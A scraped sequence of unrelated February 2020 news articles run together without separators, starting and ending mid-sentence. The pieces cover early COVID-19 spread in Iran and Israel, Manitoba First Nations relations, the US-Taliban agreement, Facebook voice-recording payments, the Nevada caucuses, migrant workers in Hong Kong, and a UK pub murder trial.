return to Iran and were discharged after 14 days without any health problems. Qom is a popular religious destination and a center of learning and religious studies for Shiite Muslims from inside Iran, as well as Iraq, Pakistan and Afghanistan and Azerbaijan. It is also known for its cattle farms. Iran once relied heavily on China to buy its oil and some Chinese companies have continued doing business with Iran in the face of U.S. sanctions. Unlike other countries such as Saudi Arabia, which barred its citizens and residents from traveling to China Iran has not imposed such measures. But it has suspended all passenger flights with China for the past two weeks, allowing only cargo flights. Irans civil aviation spokesman Reza Jafarzadeh said on Thursday that the cargo flights, if necessary, are under supervision, and controls imposed by the health ministry are carried out. The new virus emerged in China in December. Since then, more than 76,000 people have been infected globally, in as many as 27 countries, with more than 2,200 deaths being reported, mostly in China. The new virus comes from a large family of coronaviruses, some causing nothing worse than a cold. It causes cold- and flu-like symptoms, including cough and fever, and in more severe cases, shortness of breath. It can worsen to pneumonia, which can be fatal. The World Health Organization recently named the illness it causes COVID-19, referring to both coronavirus and its origin late last year. There have been few virus cases in the Middle East so far. Nine cases have been confirmed in the United Arab Emirates, which is a popular tourist destination, and one case in Egypt. Of the nine in the UAE, seven are Chinese nationals, one is a Filipino and another an Indian national. Irans neighbor Iraq, which has reported no cases of the virus, took measures to contain it by suspending visas on arrival for Iranian passport holders and direct flights between the two countries. Also Friday, one of 11 Israelis who were flown home after being quarantined on a cruise ship in Japan has tested positive for the virus, the first case to be reported inside Israel, the Health Ministry. The Israeli cruise ship passengers, who had all initially tested negative, arrived on a charter plane overnight. They were met by medics in protection suits and immediately taken to the Sheba Hospital near Tel Aviv, where they will be kept in quarantine. Another four Israelis were hospitalized in Japan after testing positive for the virus. Israel has cancelled all flights to and from China, and is requiring Israelis returning from China, Hong Kong, Macau, Singapore or Thailand to be quarantined at home for two weeks. Manitoba Premier Brian Pallister says reconciliation is alive and well in the province, pointing to a proposed plan to transfer its northern transportation assets to First Nations ownership. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. Manitoba Premier Brian Pallister says reconciliation is alive and well in the province, pointing to a proposed plan to transfer its northern transportation assets to First Nations ownership. The real test for the Pallister government on reconciliation with First Nations, however, will be whether the province can come to an agreement with Indigenous leaders on the Lake Manitoba/Lake St. Martin outlet project. So far, those relations have been strained. On Thursday, Pallister told a room full of chiefs, politicians and staff attending a signing ceremony at the Manitoba legislature he was watching the evening news and saw a sign at one of the railway blockades in Eastern Canada that read: "Reconciliation is dead." Thats not the case in Manitoba, the premier said. "Reconciliation in Manitoba is alive and kicking." There was plenty of good will in the room to support Pallisters claim. MIKE DEAL / WINNIPEG FREE PRESS (From left) Elder Francis, AMC Grand Chief Arlen Dumas, Premier Brian Pallister, Manitoba Keewatinowi Okimakanak Grand Chief Garrison Settee, Mathias Colomb Cree Nation Chief Lorna Bighetty, War Lake FN Chief Betsy Kennedy laugh prior to the start of the signing ceremony to formalize an agreement on the transfer of the provinces northern airports and marine operations to First Nations ownership and operation, Thursday morning in the Manitoba Legislative building. Grand Chief Arlen Dumas of the Assembly of Manitoba Chiefs (who got a hug from Pallister in front of cameras) was quick to praise the Tory premier for his governments efforts to move ahead with the new memorandum of understanding. Under the agreement in principle, government and the AMC will discuss the possibility of transferring the provinces northern airports and marine operations to First Nations ownership and operation. "When we want to talk about reconciliation, if you have people that are willing to listen and actually move forward with a sound model and a sound plan to take proper steps for the benefit of everybody, then youre able to achieve things and this is what this example was," Dumas told reporters. "These sort of initiatives have been around for awhile, its just that people werent willing to listen." Meanwhile, questions continue to linger about how well the Pallister government is listening to First Nations when it comes to the proposed Lake Manitoba and Lake St. Martin plan. The construction of two 23-kilometre outlets is designed to mitigate flooding by improving control over lake levels. Meanwhile, questions continue to linger about how well the Pallister government is listening to First Nations when it comes to the proposed Lake Manitoba and Lake St. Martin plan. The construction of two 23kilometre outlets is designed to mitigate flooding by improving control over lake levels. Under federal regulations, the province must consult with all First Nations that may be affected by the project before it can proceed with construction. Several Indigenous communities have raised concerns about how the water basin transfers may affect water quality, levels, and fish stocks. Some have said the province has either not consulted them, or have only engaged in limited talks. When asked Thursday about pipeline protests and rail blockades taking place in various parts of the country, Pallister said Canada has a "great" approval process, that gives everyone a voice in projects such as Manitobas flood mitigation plan. "We have a process thats respectful. We need to defend that process and we need to involve more people in the understanding of how that process can work," the premier said. In the recent past, Pallister has complained Ottawa has "moved the goal posts" on the outlet project and placed unreasonable demands on Manitoba in meeting its obligations under the approval process. We have a process thats respectful. We need to defend that process and we need to involve more people in the understanding of how that process can work. Brian Pallister On Thursday, he said approval processes for natural resource projects must be respected by all parties, and reconciliation isnt a "one-way street." Yet, the province has failed to fulfill its own consultation obligations when it comes to the outlet project. There seems to be a double standard. Dumas didnt comment directly on the outlet issue. He said, generally, conflict arises when people stop listening. Thats usually when the protests start. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Theres always a solution, its just that people need to listen," said Dumas. "People need to take off their blinders and move off of their principled positions and truly listen to the First Nations who do have solutions." The premier said this week he plans to provide the media with evidence the province has met its obligations on the outlet project, including details on how it has consulted with First Nations. Manitoba eagerly awaits that evidence. In the meantime, the reconciliation Pallister boasted about Thursday may not be quite as robust as he's letting on. tom.brodbeck@freepress.mb.ca However, local reports suggest that the number of patients and the number of deaths is much higher, with the latest reports being 12 dead and 200 infected. Experts are saying that the regimes sudden announcement of these deaths, after previously denying that the people had been infected with the Coronavirus, indicates that the virus has spread among the population and that this is just a fraction of the true number. Given the secrecy of the regime around things that make them look bad, their need to have a high voter turnout in the parliamentary elections, and the fatality rate for Coronavirus being 2.5%, it seems very likely that this is the case. The death announcement was made on Wednesday by the head of the University of Medical Sciences in Qom. The state-run news agency IRNA said that the patients came from different districts and had not traveled to or from China, which again indicates that there are more people infected. Kianoush Jahanpour, the representative of the Iranian Ministry of Health, said: In the past two days, some suspect cases of the new Coronavirus were detected in the holy city of Qom. There are reports of the Coronavirus in various parts of Iran, with an unspecified number of suspected cases are currently under quarantine, but the regime has not yet confirmed them. The Ministry of Health and other regime officials earlier dismissed reports that the Coronavirus was present in Iran. On social media, people are saying that the Interior Minister advised the Health Minister to hide reports of the Coronavirus until after the parliamentary elections today to ensure people were not scared away from voting. Of course, the Iranian people boycotted the elections due to major fraud and voterigging by the regime. They stayed away from the polls, but not because of the Coronavirus. Instead, they sent a message to the regime about the illegitimacy of the mullahs rule. This cover-up is increasing public anxiety and risking peoples lives. Maryam Rajavi, the President of the National Council of Resistance of Iran (NCRI), urged the World Health Organization (WHO) to dispatch its supervisory and medical teams to Iran at once to prevent more people from being infected. The Coronavirus has been detected in at least 24 countries; killing 2,400 people so far and infecting over 74,000. Read More: What Do Elections Mean in Iran? Irans Miners Risk Death Due to Lack of Work Safety The Taliban will implement a seven-day reduction of violence starting Friday evening that will lead to a peace agreement with the U.S., the Associated Press reported. Secretary of State Mike Pompeo released a statement on Friday saying the U.S. and Taliban would sign a peace agreement on February 29 in Doha, Qatar. That agreement would eventually allow for a withdrawal of U.S. troops from Afghanistan. The United States and the Taliban have been engaged in extensive talks to facilitate a political settlement to end the war in Afghanistan, reduce United States and Allied Forces presence, and ensure that no terrorist group ever uses Afghan soil to threaten the United States and her allies, Pompeos statement reads. We are preparing for the [peace agreement] signing to take place on February 29. Intra-Afghan negotiations will start soon thereafter, and will build on this fundamental step to deliver a comprehensive and permanent ceasefire and the future political roadmap for Afghanistan. The Trump administration has long sought a ceasefire with the Taliban that would allow American troops to leave the country. However, negotiations have frequently stalled due to Taliban attacks on U.S. forces. In early February, CNN reported that the administration was seeking to implement the reduction of violence deal, but that administration officials were skeptical the plan would actually work. Those officials feared the Taliban would not be able to hold all of its members to abide by the agreement, because the command structure of the organization is loose in some areas of the country. U.S. officials also fear that Taliban fighters disillusioned with the agreement will join ISIS Khorasan, the groups Afghan affiliate. More from National Review Facebook will pay users for recordings of their voice, as it attempts to improve its ability to recognise speech. The company will ask users to read out the names of their friends alongside a short message, all of which will be used in an attempt to make its AI systems better at understanding what people are saying. The new programme comes after Facebook was one of a range of companies found to be listening to private voice recordings from its users, without informing them it was doing so, as part of training programmes for its AI. Google, Apple, Amazon and Microsoft were also discovered to be allowing people to listen in on the recordings and transcribing them to improve their automated services. The new process will allow Facebook to gather audio of its users speaking with their knowledge and consent. Other companies including Apple have rolled out new, more transparent systems to get hold of voice recordings. Facebook's new scheme is part of a programme called "Pronunciations", according to the Verge, and is part of the Viewpoints app it uses to gather marketing data. Gadget and tech news: In pictures Show all 25 1 /25 Gadget and tech news: In pictures Gadget and tech news: In pictures Gun-toting humanoid robot sent into space Russia has launched a humanoid robot into space on a rocket bound for the International Space Station (ISS). The robot Fedor will spend 10 days aboard the ISS practising skills such as using tools to fix issues onboard. Russia's deputy prime minister Dmitry Rogozin has previously shared videos of Fedor handling and shooting guns at a firing range with deadly accuracy. Dmitry Rogozin/Twitter Gadget and tech news: In pictures Google turns 21 Google celebrates its 21st birthday on September 27. The The search engine was founded in September 1998 by two PhD students, Larry Page and Sergey Brin, in their dormitories at Californias Stanford University. Page and Brin chose the name google as it recalled the mathematic term 'googol', meaning 10 raised to the power of 100 Google Gadget and tech news: In pictures Hexa drone lifts off Chief engineer of LIFT aircraft Balazs Kerulo demonstrates the company's "Hexa" personal drone craft in Lago Vista, Texas on June 3 2019 Reuters Gadget and tech news: In pictures Project Scarlett to succeed Xbox One Microsoft announced Project Scarlett, the successor to the Xbox One, at E3 2019. The company said that the new console will be 4 times as powerful as the Xbox One and is slated for a release date of Christmas 2020 Getty Gadget and tech news: In pictures First new iPod in four years Apple has announced the new iPod Touch, the first new iPod in four years. The device will have the option of adding more storage, up to 256GB Apple Gadget and tech news: In pictures Folding phone may flop Samsung will cancel orders of its Galaxy Fold phone at the end of May if the phone is not then ready for sale. The $2000 folding phone has been found to break easily with review copies being recalled after backlash PA Gadget and tech news: In pictures Charging mat non-starter Apple has cancelled its AirPower wireless charging mat, which was slated as a way to charge numerous apple products at once AFP/Getty Gadget and tech news: In pictures "Super league" India shoots down satellite India has claimed status as part of a "super league" of nations after shooting down a live satellite in a test of new missile technology EPA Gadget and tech news: In pictures 5G incoming 5G wireless internet is expected to launch in 2019, with the potential to reach speeds of 50mb/s Getty Gadget and tech news: In pictures Uber halts driverless testing after death Uber has halted testing of driverless vehicles after a woman was killed by one of their cars in Tempe, Arizona. March 19 2018 Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures The giant human-like robot bears a striking resemblance to the military robots starring in the movie 'Avatar' and is claimed as a world first by its creators from a South Korean robotic company Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi Rex Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi and Kaptain Rock playing one string light saber guitar perform jam session Rex Gadget and tech news: In pictures A test line of a new energy suspension railway resembling the giant panda is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A test line of a new energy suspension railway, resembling a giant panda, is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A concept car by Trumpchi from GAC Group is shown at the International Automobile Exhibition in Guangzhou, China Rex Gadget and tech news: In pictures A Mirai fuel cell vehicle by Toyota is displayed at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A visitor tries a Nissan VR experience at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A man looks at an exhibit entitled 'Mimus' a giant industrial robot which has been reprogrammed to interact with humans during a photocall at the new Design Museum in South Kensington, London Getty Gadget and tech news: In pictures A new Israeli Da-Vinci unmanned aerial vehicle manufactured by Elbit Systems is displayed during the 4th International conference on Home Land Security and Cyber in the Israeli coastal city of Tel Aviv Getty It is slowly rolling out to users who are in the US, are over 18 and have more than 75 friends on Facebook. They will be invited through the Viewpoints app and offered the chance to sell their recordings. Recommended Facebook could change the way users sort news feed posts If they join, they will be asked to say the phrase "Hey Portal" a reference to Facebook's assistant for the home and then the first name of someone from their friends list. They will be asked to record the words twice, and will be able to do up for up to 10 different people. The programme will only give users 200 points in the Viewpoints app. Users need 1,000 points to be able to get any cash at all and that is worth only $5. The recordings will not be connected to the users' Facebook profile and they will not be shared on Facebook without permission. New Delhi [India], Feb 21 (ANI): Home Minister of Maldives Sheikh Imran Abdulla called on Union Home Minister Amit Shah at the Ministry of Home Affairs on Friday. There have been several high-level engagements between the two countries in recent times. Earlier this month, India airlifted more than 600 individuals including seven Maldivians from China's Wuhan, the epicenter of deadly coronavirus. Indian and Maldives nationals were stranded in China after the country imposed quarantine to prevent the spread of the deadly virus. Maldives is very grateful to India for evacuating seven Maldivians from coronavirus-hit Wuhan province in China, Defense Minister Mariya Didi had said. (ANI) Tipton Health Communications, a leading provider of nursing excellence, Magnet, Pathway to Excellence and PTAP consulting support welcomes Mary Del Guidice, MSN, BS, RN, CENP, as a senior nursing excellence consultant, serving hospital clients in a variety of capacities. Mary joins Tiptons growing team of highly experienced and well-respected executive nurse consultants. She will focus on helping Tiptons clients to address unique structural and strategic challenges, including the following: Creating an environment where nursing teams can efficiently provide the best care possible Building the most effective structure to support nursing excellence Improving engagement and satisfaction Building leadership competencies Enculturating nurses into systems of excellence (Magnet and Pathway) Educating nurses and team members Developing Nursing Strategic Plans Mary comes to Tipton after an impressive nursing career, leading teams to Magnet designations, improving nursing programs, and effectively bettering patient care at numerous hospitals including the University of Pennsylvania, Bon Secours Health System, Lehigh Valley Health Network and Hackensack University Medical Center. Her passion for guiding hospitals to reach their full potential led to her establishing and becoming CEO of her own firm, Del Guidice Consulting, where she continues to mentor and lead organizations. Were very excited to have Mary on our team, said Tipton Health CEO Dan Tipton. Her expertise and insights are already benefiting our clients on their Magnet journeys as well as in their day-to-day efforts to provide efficient, high-quality care to their patients. Mary is a Senior Fellow in the Center for Health Outcomes and Policy Research, University of Pennsylvania and is a member of the American Nurses Association, American Organization of Nursing Excellence and the New Jersey State Nurses Association. About Tipton Health Communications Tipton Health Communications is a leading provider of nursing excellence, Magnet, Pathway to Excellence and Practice Transition Accreditation Program consulting support to the nations hospital and healthcare systems. In addition, Tipton Health supports clients nationwide with award-winning communications services, including employee communications, human resources communications, public relations, marketing communications, intranet and Internet design, graphic design, and strategic communications. For more information, please visit http://www.tiptonhealth.com. Tipton Health Communications products and services are neither sponsored nor endorsed by the ANCC. ANCC Magnet Recognition, ANCC National Magnet Conference, Institute for Credentialing Innovation, Magnet, Magnet Recognition Program, The Magnet Prize and Pathway to Excellence Program are registered trademarks of the American Nurses Credentialing Center. Journey to Magnet Excellence and Pathway to Excellence in Long Term Care are trademarks of the American Nurses Credentialing Center. If Sanders wins here by a large margin, I think he has a chance to win South Carolina and be in a very strong position going into Super Tuesday, Jon Ralston, the editor of The Nevada Independent, said in an interview, referring to the South Carolina primary on Feb. 29. But if he does not, if theres an upset or if Joe Biden finishes a strong second and stories are written about how hes the comeback kid, that could change everything. The Democratic candidates sparred in a fiery debate on Wednesday in Las Vegas, but it may not have much impact on the states results. Thats partly because the focus of the night fell most heavily on Michael R. Bloomberg, the former mayor of New York City, who came under merciless attack from all five of his onstage rivals but who is not competing in the Nevada caucuses. Besides, the early-voting period, which ran from Saturday through Tuesday, was already over by the time the candidates debated. According to the Review Journal/AARP poll taken just before early voting began roughly three in five Nevadans planned to vote in that window, rather than on caucus day. And sure enough, the Nevada Democratic Party has reported high early turnout (this was the first time Nevada has offered early voting). Officials estimate that roughly 75,000 people participated; thats nearly equal to the total number of Nevada caucusgoers in 2016. The party said that about half of those early voters were first-time caucusgoers, according to CNN a possible boon to Mr. Sanders, who outperformed his rivals among first-time caucusgoers and voters in the Iowa and New Hampshire contests, according to entrance and exit polls. It is possible that the results of Nevadas caucuses wont be the main headline on Saturday night: That could end up being the caucus process itself, in the event of a fiasco similar to what occurred in Iowa. There were lines and delays at many early-voting sites; the iPad system that was set up to try to avert an Iowa-like disaster proved slightly cumbersome, according to some reports, though no major hiccups have been reported. It remains to be seen whether the caucuses will go off without a hitch, or if final results will prove elusive as they still are in Iowa. If theres a huge turnout on caucus day, and its 50,000 or 70,000 or 80,000 people, Im not betting on anything, Mr. Ralston said. Share this article Whatsapp Facebook Twitter Linkedin Analiza Perez-Amurao (The Jakarta Post) Salaya, Thailand Fri, February 21, 2020 16:19 691 7f440ff09e92db75a02bbad2065d78be 3 Opinion Hong-Kong,domestic-worker,migrant-workers,migrant-protection,economy,coronavirus,Wuhan-coronavirus Free Among those identified as "vulnerable" amid the novel coronavirus (COVID-19) outbreak are migrant workers, particularly low-skilled workers. Overseas workers across the region are among the many who are bearing the brunt of the impacts from the global health emergency. Hong Kongs foreign domestic workers, for example, have a number of complaints. International Migrants Alliance chairperson Eni Lestari said that many domestic workers in the Chinese territory were not allowed to take a day off and were still tasked with going out to the market to shop for household items. This is despite the fact that the Hong Kong Labour Department has called on foreign domestic helpers (FDHs) to remain indoors on their days off to reduce the risk of the spread of the novel coronavirus in the community. However, the appeal, which is backed by Chief Executive Carrie Lam, has been called unfair and discriminatory by the International Migrants Alliance Hong Kong & Macau advocacy group. Eman Villanueva, spokesperson of the Asian Migrants Coordinating Body, said, When you target a specific group of people, it becomes a very different thing. It sends the wrong signal that if you allow them to go out and gather, it is a danger to society. At the time of writing, an estimated 211,000 of all FDHs in Hong Kong hailed from the Philippines, the single largest migrant work group in the region. Filipino workers are made to queue for masks for hours by their employers, yet those masks are meant only for their employers use. A domestic helper who requested anonymity remarked, Its like we dont deserve protection. The Hong Kong edition of The Sun reported that Filipino workers staged a protest to appeal to their employers to provide them with masks, rubbing alcohol and other antiseptics to help protect them from the virus. Johanie Tong, a representative of Mission for Migrant Workers, advocated that no one should be behind during the outbreak. Fear over job loss and unemployment also haunts foreign migrant workers in Hong Kong. Bethune House cofounder and Mission for Migrant Workers head Cynthia Abdon-Tellez reported that the contracts of several FDHs were discontinued because their employers had decided to leave Hong Kong. Even employers who remained in the territory were telling their domestic workers return to their home countries until the crisis had passed. Those workers are the breadwinners for their family. How can we continue to support our siblings that are in school, how can we continue supporting our sick parents or sick husbands? Not only that, how are we going to buy food for our family? Maybe were free from the coronavirus outbreak in Hong Kong, but were going to die of hunger, said Shiela Tebia, the vice chair of United Filipinos in Hong Kong. Other workers, however, reported that they were unable to leave Hong Kong. The bosses do not give them their full wages or control their passports, IDs or other documents. Thats why some workers cannot return home, even though they want to leave, said a migrant worker. With constant exposure outdoors and lack of access to healthcare, domestic workers face a greater risk of contracting the coronavirus. The first Indonesian national to test positive for COVID-19 is a 44-year-old domestic worker in Singapore who has no history of traveling to mainland China. But she works for a Singaporean employer who has also been confirmed with coronavirus infection, the Indonesian Embassy in Singapore stated. Stranded amid travel bans Filipino migrant workers who were back in the Philippines on leave and newly hired workers waiting to be deployed overseas when the outbreak emerged have also been affected, as the Philippine government recently declared a travel ban for China, Hong Kong and Macau. The ban affects an estimated 25,000 Filipino migrant workers: 10,000 who were on home leave and 15,000 who were waiting to travel to their new jobs abroad. At a press briefing in Malacanang, Philippine Bureau of Immigration spokesperson Dana Sandoval explained that there is no distinction between visa types in the directive for a travel ban. So all Filipino nationals who are in the country will not be allowed to depart for China, Hong Kong and Macau. As a result, the travel ban also affects those transiting through the three countries to their final destinations. For those who were due to depart to Hong Kong and Macau, their worries concern not just the costs of their unexpected delay in departure, but also the prospect of losing their jobs in their destination country. A day after the Philippine government declared the two-way travel ban, Betty Yung Ma Shan-yee, the chairwoman of the Hong Kong Employers of Overseas Domestic Helpers Association, said that she had received numerous calls for help. Recruitment consultant Emmanuel Geslani said that the Philippine government should issue an exemption for [the domestic workers] to return to their jobs or [they could] lose them, if the government insists on the general order on all Filipinos traveling to China and the administrative regions. Alfredo Palmiery, the president of the Society of Hong Kong Accredited Recruiters of the Philippines (SHARP), added: Filipino domestic helpers from Hong Kong and Macau may lose their jobs if the travel ban and lack of flights to those regions is not resolved by the end of February. Chaos One thing for sure is that the COVID-19 outbreak has ensued in chaos of different forms and shapes in different parts of the world. While scientists are racing to develop a vaccine and governments are scrambling to determine how to manage the outbreak, healthy people including migrant workers have not escaped the disruption it has caused. It can be easy to lose track of priorities in the midst of this chaos. Amid the desperate attempts of governments to address the situation, it has become apparent that the circumstances of migrant workers are negligible. It is crucial for states to remember, however, that neglecting or playing down the needs of migrant workers, who play a vital role in supporting societys needs, could very well start another kind of affliction. *** The writer is Assistant Professor and Chair of the Humanities and Language Department at Mahidol University International College in Salaya, Thailand. In addition to The Jakarta Post, she has written for other news outlets including the Asia Times and Rappler, as well as academic publishers like the ISEAS-Yusof Ishak Institute, Time Taylor International and the Mahidol University Press. She writes on regional issues related to language education, cultural studies and migration studies. Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. The United Nations (UN) has called on Nigerian journalists, media persons and civil society groups to mobilise support for the bill for the prohibition of sexual harassment in tertiary institutions. The Senate is currently holding a public hearing on the bill which the Deputy Senate President Ovie Omo-Agege, reintroduced last year after the BBC aired an investigative documentary on sexual harassment in West African universities. UN Women Country Representative in Nigeria and ECOWAS, Comfort Lamptey, made the call in Abuja on Thursday at the People Journalism Prize For Africa 2019, organised by Gatefield to honour undercover journalists, Fisayo Soyombo and Kiki Mordi, for their people-centred investigative stories. Represented by the UN Communication Analyst, Mercedes Alfa, Ms Lamptey said ending violence against women and girls is a key priority area at UN Women. Women and girls are disproportionately subjected to violence, including femicide, sexual violence, intimate partner violence, trafficking and harmful practices. READ ALSO: The major hindrances to understanding the scale of this problem include weak structures for reporting sexual harassment and violence in universities; extreme power imbalances between students and lecturers and stigma-culture that shames victims and survivors, she said. The UN country leader commended Ms Mordi for utilising her voice and gifts to advocate for gender equality by bringing some of the pertinent issues affecting young women to the fore. Last October, Ms Mordi, a BBC journalist, filmed a documentary on sex-for-grade practices in some West African universities. In her groundbreaking documentary, Sex for Grades, Kiki helped give Nigerian women and girls who are survivors of sexual violence, a sense of justice. Violence against women and girls is one of the most widespread and pervasive human rights violations in our world today. One in three women worldwide have experienced physical or sexual violence, she said. In her acceptance speech, Ms Mordi said she would continue advocating gender equality and social justice. Anti-sexual harassment bill Mr Omo-Agege reintroduced the bill last year after Ms Mordis investigative documentary that exposed lecturers of Universities of Lagos and Ghana for sexual harassment. Fully supported by gender advocates and civil society, the bill seeks to promote and protect ethical standards in tertiary institutions; to protect students against sexual harassment. It proposes up to 14 years jail term for offenders. However, it has recently garnered criticisms from members of the Academic Staff Union of Universities (ASUU) who described it as biased against them. For the ASUU chairman, Biodun Ogunyemi, provisions of the bill indicated bias against lecturers. He said if it is passed, teachers would be discredited. By so doing, we shall also degrade the value and integrity of our certificate. Does ASUU supports sexual harassment? No. In 2016, we spoke along the same line. He said that the autonomy of universities should be respected and that the institutions have laws to handle such issues. Shocking police bodycam footage has revealed the moment a drunken thug admitted stabbing a pub landlord to death - before he sobered up and denied it. Lee Abbott, 35, went to the Hammer and Pincers pub in Widnes, Cheshire, armed with a large kitchen knife to attack Christian Thornton, 49, on August 11 last year. He had been banned from the premises and all others in the area for an entire year after threatening to burn Mr Thornton's pub down on August 6, 2018. The father-of-three was on the phone to police in a bid to report Abbott again when he was stabbed 11 times in the space of just 21 seconds. Video from the bodycam of one of the officers who arrested him shows him saying: 'I attacked that Chris, yeah. It's all me, it's all my fault right, yeah. Is he dead? I'll tell you the truth, I done it yeah.' But despite Abbott's confession, he decided to deny murder and forced the victim's family to endure a harrowing trial. The father-of-two admitted manslaughter in court, but denied murder on the grounds he was heavily intoxicated and was unable to function normally. He was found guilty yesterday. This morning, a judge handed him life in prison and ordered him to serve a minimum of 28 years before being eligible for parole. CCTV footage shows Lee Abbott, 35, grappling with Christian Thornton, 49, before he stabbed him to death in a brutal assault at his pub in Widnes, Cheshire in August last year Police bodycam footage shows Abbott topless admitting to his horrific crime If he is ever released, he will be on licence for the rest of his life, with Judge Cummings telling Abbott at Liverpool Crown Court today: 'There is no certainty that you will ever be released from prison.' The video clip from his arrest shows Abbott, who had consumed copious amounts of alcohol and cocaine the night before, saying: 'I know exactly what you're saying, I've done it - I'll admit everything.' As a dog barks loudly in the background, he confirms his name and adds: 'I attacked that Chris, yeah. It's all me, it's all my fault right, yeah.' Bare-chested, he adds: 'I'll admit everything, I'm not going to deny nothing - that's the way it is.' He is then arrested on suspicion of murder and asks: 'Is he dead? I'll tell you the truth, I done it yeah.' As the caution is read, he replies: 'It's my fault, yeah, yeah, I understand that, it's my fault.' Unprompted, he then says: 'Anything you need me to admit I will. I'm not gonna deny f*** all. I'm not gonna resist arrest. After the clip ends, Abbott continued by saying that the woman whose house he fled to didn't know anything about what had happened, the court heard. He then said 'I'm guilty of everything you say' before he was told why he was being arrested. The killer replied: 'You don't need any evidence, I stabbed him to f***.' Lee Abbott, 35, (mugshot left) went to the Hammer and Pincers pub in Widnes, Cheshire, armed with a large kitchen knife to attack Christian Thornton, 49, (right) on August 11 last year Witness David Johnson told police afterwards: 'There was no stopping him, he just ran like a mad man.' Abbott fled after the horrendous attack, which was captured on CCTV. The 35-year-old former cocaine addict went to a nearby friend's house, where he washed his bloodstained clothes and hung them on a radiator to dry. But just over an hour after the killing armed police raided the address and arrested him. Abbott admitted manslaughter but denied murder on the grounds he did not have the intent to murder as he was heavily intoxicated and had diminished responsibility on the basis of an abnormality of mental functioning. This meant Mr Thornton's family had to sit through almost two weeks of harrowing evidence in court. The jury was told he was sexually abused by a gangster when he was a teenager. The ex-drug user said he used to think he was Jesus and the attack was 'a cry for help' and the culmination of '20 years of hell'. But even his own psychiatric expert agreed he was not psychotic at the time and had no defence of 'diminished responsibility'. Crime scene: The Hammer and Pincers in Widnes, Cheshire, is pictured surrounded by police in the aftermath of the murder Floral tributes are pictured near the scene dedicated to Mr Thornton David McLachlan, QC, prosecuting, said he was 'a master manipulator' who was 'simply trying his best to get away with murder.' In his closing speech, he reminded the jury of when Abbott said 'I stabbed him to f***' and asked if it could it be 'any clearer'. He later added: 'We respectfully submit it's murder pure and simple. He knows full well it is. He admitted it at the scene.' The victim's wife, Pamela Thornton, was unable to read her victim impact statement because she was so upset. Her statement read: 'I still cannot believe he is no longer here. It breaks my heart knowing I will never see him again. My family has lost a loving husband and father.' The couple had been together for 24 years and had three children. Mrs Thornton spoke of her devastation that her husband will miss seeing their children grow up Sentencing him today, Judge Cummings said: 'Personality disorder or not, you were fully responsible for your actions. 'In layman's terms, you had messed your own head up by taking drugs. He never stood a chance, you made sure of that.' Detective Inspector Kate Tomlinson said after the case: 'Abbott's actions that day have torn a family apart and rocked the local community. 'Christian was a well-known character locally, he did so much for local charities and will be greatly missed by many.' Police have provided security to the residence of Amulya Leona, who had raised Pakistan Zindabad slogans, in Chikkamagaluru district after it was allegedly attacked by right wing workers, officials said on Friday. Bengaluru: Police have provided security to the residence of Amulya Leona, who had raised Pakistan Zindabad slogans, in Chikkamagaluru district after it was allegedly attacked by right wing workers, officials said on Friday. According to sources, a group of people had targeted her house on Thursday evening and window panes were damaged. Amulya's father Wazi subsequently lodged a complaint following which police personnel were deployed near the house for the family's security. Meanwhile, a video of a group of people, allegedly right wing activists, on Thursday evening, purportedly questioning Wazi about his daughter's conduct and making him raise "Bharat Mata ki Jai" slogans has gone viral. Amulya had raised "Pakistan Zindabad" slogans thrice after the organisers of the event under the banner of "Save Constitution" invited her to address the gathering in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi, on Thursday. After being removed from the stage, she was arrested on charges of sedition and produced before a magistrate court which remanded her to 14-day judicial custody. A purported Facebook post of Amulya on 16 February has surfaced in which she has said 'Zindabad' to several neighbouring countries, and adds that doing so does not make her belong to them. "Hindustan Zindabad, Pakistan Zindabad, Bangladesh Zindabad, Sri Lanka Zindabad, Nepal Zindabad, Afghanistan Zindabad, China Zindabad, Nepal Zindabad... whichever country it may be, Zindabad to all countries," said the post in Kannada. "You teach children that country means soil, but as children we are telling you country means- people living there. People should get all basic amenities, they should get all basic rights, governments of all countries should take care of its people in a good way. Zindabad to all those who are doing public service," she said. Stating that by saying Zindabad to other countries, she will not belong to that country, Amulya's post says, "as per law, I'm citizen of India, respecting my country and working for the people here is my duty. I will do it, let's see what RSS people do..I have said what I had to, Sanghis start commenting." Irishman Ben Kavanagh's videos of the coronavirus- stricken city went viral. After being evacuated, Ben tells Tanya Sweeney how he hopes that he'll soon be able to return to the city he now calls home. On New Year's Eve, Kildare-born Ben Kavanagh was wishing his Irish family a happy New Year from the Chinese city of Wuhan, but not before finishing classes at the school he teaches psychology in. And then, a news story broke on TV about a new virus that had been detected in the city. Most people working in Wuhan's fish markets were being brought to hospital, suspected of contracting the virus. "I went home for lunch that day, came back to class, and all the kids were joking: 'sir, I've got Sars'," he recalls. "We heard the news and thought it was going to be just this little thing - a virus, after all, can be as simple as a common cold." Little did Kavanagh (24) know on that afternoon that the little-known city of Wuhan would become the centre of global attention, thanks to the spread of the highly contagious 